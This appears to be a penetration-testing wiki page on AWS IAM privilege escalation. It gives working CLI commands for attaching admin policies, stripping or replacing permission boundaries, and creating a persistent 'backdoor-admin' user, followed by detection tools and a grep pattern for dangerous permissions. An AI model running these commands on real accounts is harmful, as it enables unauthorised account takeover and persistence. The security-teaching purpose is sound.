The Attach Policy permissions allow you to attach existing managed policies to IAM identities. This works with both customer-managed and AWS-managed policies, meaning you can attach AWS's own `AdministratorAccess` policy directly to your user.&#x20;

This is one of the most straightforward privilege escalation paths in AWS, requiring only a single API call to gain full administrator privileges.

{% tabs %}
{% tab title="AttachUserPolicy" %}
This is often the simplest privilege escalation path. If you have `iam:AttachUserPolicy` on your own user, you can attach any managed policy including AWS's built-in `AdministratorAccess` policy. This grants instant full admin access with a single command.

```bash
# Attach AdministratorAccess to yourself
CURRENT_USER=$(aws iam get-user --query 'User.UserName' --output text)

aws iam attach-user-policy \
    --user-name $CURRENT_USER \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

{% endtab %}

{% tab title="AttachGroupPolicy" %}
Similar to PutGroupPolicy, attaching a managed policy to a group affects all group members. This is useful when you have permissions on a group you belong to. You can attach powerful AWS-managed policies like PowerUserAccess or custom policies with elevated permissions.

```bash
# Attach to group
aws iam attach-group-policy \
    --group-name Developers \
    --policy-arn arn:aws:iam::aws:policy/PowerUserAccess
```

{% endtab %}

{% tab title="AttachRolePolicy" %}
If you can attach policies to a role you're able to assume, you can elevate the role's permissions before assuming it. This is particularly useful when you find roles with limited permissions but can modify their policy attachments.

```bash
# Attach to role
aws iam attach-role-policy \
    --role-name MyRole \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

{% endtab %}
{% endtabs %}

### DeleteUserPermissionsBoundary / DeleteRolePermissionsBoundary

Permission boundaries restrict the maximum permissions an IAM entity can have. If a user or role has a restrictive permission boundary, their effective permissions are limited even if they have broad identity-based policies attached. The `iam:DeleteUserPermissionsBoundary` and `iam:DeleteRolePermissionsBoundary` permissions allow you to remove these restrictions, potentially unlocking significantly higher privileges.

{% tabs %}
{% tab title="Remove User Boundary" %}
If you have permission to delete permission boundaries for users, you can remove the restrictive boundary from your own user or another user to expand their effective permissions.

```bash
# Check if you have a permission boundary
aws iam get-user --user-name your-username

# Output shows:
{
    "User": {
        "UserName": "your-username",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::123456789012:policy/RestrictiveBoundary"
        },
        ...
    }
}

# Check what the boundary restricts
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/RestrictiveBoundary
aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/RestrictiveBoundary \
    --version-id v1

# If the boundary is restrictive (e.g., only allows S3 and DynamoDB)
# but you have AdministratorAccess policy attached,
# removing the boundary grants you full admin access

# Remove the permission boundary
aws iam delete-user-permissions-boundary --user-name your-username

# Verify removal
aws iam get-user --user-name your-username

# Test expanded permissions
aws iam list-users  # Should now work if previously blocked
```

This technique is particularly powerful when combined with other privilege escalation methods. For example, if you can attach policies to yourself but a permission boundary prevents you from using those permissions, you must remove the boundary before the attached policies become effective.
{% endtab %}

{% tab title="Remove Role Boundary" %}
If you can delete permission boundaries from roles you can assume, you can expand the role's effective permissions before or after assuming it.

```bash
# Check role's permission boundary
aws iam get-role --role-name TargetRole

# Output shows:
{
    "Role": {
        "RoleName": "TargetRole",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::123456789012:policy/S3OnlyBoundary"
        },
        ...
    }
}

# Scenario: Role has AdministratorAccess policy
# but boundary limits it to S3 operations only

# Remove the boundary
aws iam delete-role-permissions-boundary --role-name TargetRole

# Assume the role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/TargetRole \
    --role-session-name privesc-session

# Export credentials and test expanded permissions
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Now have full administrator access instead of just S3
aws iam list-users
```

When you remove a role's permission boundary, anyone who assumes that role (including yourself) gains the expanded permissions. This can be used to elevate your own privileges or create a backdoor for later use.
{% endtab %}
{% endtabs %}

### PutUserPermissionsBoundary / PutRolePermissionsBoundary

If you have permission to set or modify permission boundaries, you can replace a restrictive boundary with a more permissive one, or add a permissive boundary to roles/users where delegation is expected.

{% tabs %}
{% tab title="Exploit" %}
In this scenario, you have a restrictive boundary that only allows S3 access. But we replace it with a boundary that allows everything

```bash
# First, create a permissive managed policy (or find existing one)
cat > permissive-boundary.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
EOF

# Create the policy (if you have iam:CreatePolicy)
aws iam create-policy \
    --policy-name PermissiveBoundary \
    --policy-document file://permissive-boundary.json

# Or use existing AWS managed policy that's permissive
# Like: arn:aws:iam::aws:policy/PowerUserAccess

# Replace your restrictive boundary with permissive one
aws iam put-user-permissions-boundary \
    --user-name your-username \
    --permissions-boundary arn:aws:iam::123456789012:policy/PermissiveBoundary

# Verify
aws iam get-user --user-name your-username

# Test expanded permissions
aws iam list-users  # Should work if previously blocked
```

This technique requires both the permission to modify boundaries AND the permission to create or reference the permissive policy. In environments where permission boundaries are mandatory (enforced via service control policies), you must replace rather than remove the boundary to maintain compliance while expanding access.

Additionally, if you're delegated user/role creation with a required permission boundary condition, you might be able to create your own permissive boundary policy and use it for newly created privileged users:

```bash
# Condition in your policy might require attaching a boundary when creating users
# But if you can create your own boundary policy...

# Create permissive boundary
aws iam create-policy \
    --policy-name MyDelegationBoundary \
    --policy-document file://permissive-boundary.json

# Create new user with your permissive boundary
aws iam create-user \
    --user-name backdoor-admin \
    --permissions-boundary arn:aws:iam::123456789012:policy/MyDelegationBoundary

# Attach administrator policy to the user
aws iam attach-user-policy \
    --user-name backdoor-admin \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create access key
aws iam create-access-key --user-name backdoor-admin

# Since the boundary is permissive, the user has full admin access
```

This bypasses the intent of permission boundaries in delegation scenarios—organizations want to restrict delegated user creation, but if you control the boundary policy itself, you can make it as permissive as needed.
{% endtab %}
{% endtabs %}

### Policy Analysis

{% tabs %}
{% tab title="Pacu" %}
Pacu's privilege escalation scanner automatically identifies all 21+ known AWS privilege escalation methods by analyzing your current permissions and checking which escalation techniques are available to you.

```bash
# Run privilege escalation scan
pacu

# Scan for privilege escalation paths
run iam__privesc_scan
```

{% endtab %}

{% tab title="Cloudsplaining" %}
[CloudSplaining](https://github.com/salesforce/cloudsplaining) analyzes IAM policies and identifies privilege escalation risks, data exfiltration potential, resource exposure, and other security issues. It generates detailed reports with remediation guidance.

```bash
# Download IAM account authorization details
aws iam get-account-authorization-details --output json > account-auth-details.json

# Run CloudSplaining analysis
cloudsplaining scan --input-file account-auth-details.json

# View report
open cloudsplaining-report.html

# Export findings as JSON
cloudsplaining scan --input-file account-auth-details.json --output json
```

{% endtab %}

{% tab title="Wildcard Search" %}
This script searches policy documents for the most dangerous pattern: wildcard permissions on both actions and resources. Policies matching this pattern essentially grant administrator access to specific services or the entire AWS account.

```python
def find_wildcard_policies(policy_document):
    """Find policies with wildcards"""
    dangerous = []

    for statement in policy_document.get('Statement', []):
        if statement.get('Effect') != 'Allow':
            continue

        actions = statement.get('Action', [])
        if isinstance(actions, str):
            actions = [actions]

        resources = statement.get('Resource', [])
        if isinstance(resources, str):
            resources = [resources]

        # Check for wildcards
        if '*' in actions or any('*' in str(a) for a in actions):
            if '*' in resources or any('*' in str(r) for r in resources):
                dangerous.append({
                    'type': 'Full Wildcard',
                    'statement': statement
                })

    return dangerous

# Usage
policy = {
    "Statement": [{
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
    }]
}

results = find_wildcard_policies(policy)
for result in results:
    print(f"[!] {result['type']}: {result['statement']}")
```

{% endtab %}

{% tab title="Privilege Escalation Search" %}
Beyond wildcards, specific IAM permissions enable privilege escalation. This command searches for the most common privilege escalation permissions like CreatePolicyVersion, AttachUserPolicy, and CreateAccessKey. Finding these in your current policies indicates potential escalation paths.

```bash
# Check for privilege escalation permissions
cat policy.json | jq -r '.Statement[] | select(.Effect == "Allow") | .Action[]' | \
grep -E '(iam:CreatePolicyVersion|iam:SetDefaultPolicyVersion|iam:AttachUserPolicy|iam:AttachGroupPolicy|iam:PutUserPolicy|iam:CreateAccessKey|iam:UpdateAssumeRolePolicy)'

# Output shows which dangerous permissions are granted
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html>" %}

{% embed url="<https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation>" %}

{% embed url="<https://cloudsplaining.readthedocs.io>" %}
